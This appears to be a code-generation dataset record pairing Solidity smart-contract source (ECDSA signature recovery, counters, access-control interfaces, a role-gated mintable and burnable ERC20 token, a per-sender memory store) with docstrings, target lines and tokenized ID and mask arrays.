* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
* @notice This token contract is minted as a reward by staking NFTs based on TokenRewardStaking contract and is burned when merging TokenRewardStaking or adding accessories to them @dev Supports minting new tokens to an address from authorized addresses restricted by the `MINTER_ROLE` role @dev Supports burning tokens from an address from authorized addresses restricted by the `BURNER_ROLE` role @dev Supports EIP-2612 permits for gas-less approvals/
|
contract MintableBurnableERC20 is ERC20, ERC20Permit, IMintableERC20, IBurnableERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) ERC20Permit(_name) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(BURNER_ROLE, _msgSender());
}
function mint(address _to, uint256 _amount) public {
require(hasRole(MINTER_ROLE, _msgSender()), "must have minter role to mint");
_mint(_to, _amount);
}
function burn(address _from, uint256 _amount) public {
require(hasRole(BURNER_ROLE, _msgSender()), "must have burner role to burn");
_burn(_from, _amount);
}
}
| 13,908,357 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
20392,
1220,
1147,
6835,
353,
312,
474,
329,
487,
279,
19890,
635,
384,
6159,
540,
423,
4464,
87,
2511,
603,
3155,
17631,
1060,
510,
6159,
6835,
540,
471,
353,
18305,
329,
1347,
17256,
3155,
17631,
1060,
510,
6159,
540,
578,
6534,
2006,
2401,
358,
2182,
632,
5206,
25110,
312,
474,
310,
394,
2430,
358,
392,
1758,
1377,
628,
10799,
6138,
15693,
635,
1377,
326,
1375,
6236,
2560,
67,
16256,
68,
2478,
632,
5206,
25110,
18305,
310,
2430,
628,
392,
1758,
628,
1377,
10799,
6138,
15693,
635,
326,
1377,
1375,
38,
8521,
654,
67,
16256,
68,
2478,
632,
5206,
25110,
512,
2579,
17,
5558,
2138,
4641,
1282,
364,
16189,
17,
2656,
6617,
4524,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
490,
474,
429,
38,
321,
429,
654,
39,
3462,
353,
4232,
39,
3462,
16,
4232,
39,
3462,
9123,
305,
16,
6246,
474,
429,
654,
39,
3462,
16,
23450,
321,
429,
654,
39,
3462,
16,
24349,
288,
203,
225,
1731,
1578,
1071,
5381,
6989,
2560,
67,
16256,
273,
417,
24410,
581,
5034,
2932,
6236,
2560,
67,
16256,
8863,
203,
203,
225,
1731,
1578,
1071,
5381,
605,
8521,
654,
67,
16256,
273,
417,
24410,
581,
5034,
2932,
38,
8521,
654,
67,
16256,
8863,
203,
203,
225,
3885,
12,
1080,
3778,
389,
529,
16,
533,
3778,
389,
7175,
13,
4232,
39,
3462,
24899,
529,
16,
389,
7175,
13,
4232,
39,
3462,
9123,
305,
24899,
529,
13,
288,
203,
565,
389,
8401,
2996,
12,
5280,
67,
15468,
67,
16256,
16,
389,
3576,
12021,
10663,
203,
203,
565,
389,
8401,
2996,
12,
6236,
2560,
67,
16256,
16,
389,
3576,
12021,
10663,
203,
565,
389,
8401,
2996,
12,
38,
8521,
654,
67,
16256,
16,
389,
3576,
12021,
10663,
203,
225,
289,
203,
203,
225,
445,
312,
474,
12,
2867,
389,
869,
16,
2254,
5034,
389,
8949,
13,
1071,
288,
203,
565,
2583,
12,
5332,
2996,
12,
6236,
2560,
67,
16256,
16,
389,
3576,
12021,
1435,
3631,
315,
11926,
1240,
1131,
387,
2478,
358,
312,
474,
8863,
203,
203,
565,
389,
81,
474,
24899,
869,
16,
389,
8949,
1769,
203,
225,
289,
203,
203,
225,
445,
18305,
12,
2867,
389,
2080,
16,
2254,
5034,
389,
8949,
13,
1071,
288,
203,
565,
2583,
12,
5332,
2996,
12,
38,
8521,
654,
67,
16256,
16,
389,
3576,
12021,
1435,
3631,
315,
11926,
1240,
18305,
264,
2478,
358,
18305,
8863,
203,
203,
565,
389,
70,
321,
24899,
2080,
16,
389,
8949,
1769,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma experimental ABIEncoderV2;
contract BitStakeMemory {
// Memory Bytes (Smart Account Address => Storage ID => Bytes).
mapping (address => mapping (uint => bytes32)) internal mbytes; // Use it to store execute data and delete in the same transaction
// Memory Uint (Smart Account Address => Storage ID => Uint).
mapping (address => mapping (uint => uint)) internal muint; // Use it to store execute data and delete in the same transaction
// Memory Address (Smart Account Address => Storage ID => Address).
mapping (address => mapping (uint => address)) internal maddr; // Use it to store execute data and delete in the same transaction
/**
* @dev Store Bytes.
* @param _id Storage ID.
* @param _byte bytes data to store.
*/
function setBytes(uint _id, bytes32 _byte) public {
mbytes[msg.sender][_id] = _byte;
}
/**
* @dev Get Stored Bytes.
* @param _id Storage ID.
*/
function getBytes(uint _id) public returns (bytes32 _byte) {
_byte = mbytes[msg.sender][_id];
delete mbytes[msg.sender][_id];
}
/**
* @dev Store Uint.
* @param _id Storage ID.
* @param _num uint data to store.
*/
function setUint(uint _id, uint _num) public {
muint[msg.sender][_id] = _num;
}
/**
* @dev Get Stored Uint.
* @param _id Storage ID.
*/
function getUint(uint _id) public returns (uint _num) {
_num = muint[msg.sender][_id];
delete muint[msg.sender][_id];
}
/**
* @dev Store Address.
* @param _id Storage ID.
* @param _addr Address data to store.
*/
function setAddr(uint _id, address _addr) public {
maddr[msg.sender][_id] = _addr;
}
/**
* @dev Get Stored Address.
* @param _id Storage ID.
*/
function getAddr(uint _id) public returns (address _addr) {
_addr = maddr[msg.sender][_id];
delete maddr[msg.sender][_id];
}
}
|
Use it to store execute data and delete in the same transaction
|
mapping (address => mapping (uint => bytes32)) internal mbytes;
| 1,042,106 |
[
1,
4625,
348,
7953,
560,
30,
225,
2672,
518,
358,
1707,
1836,
501,
471,
1430,
316,
326,
1967,
2492,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
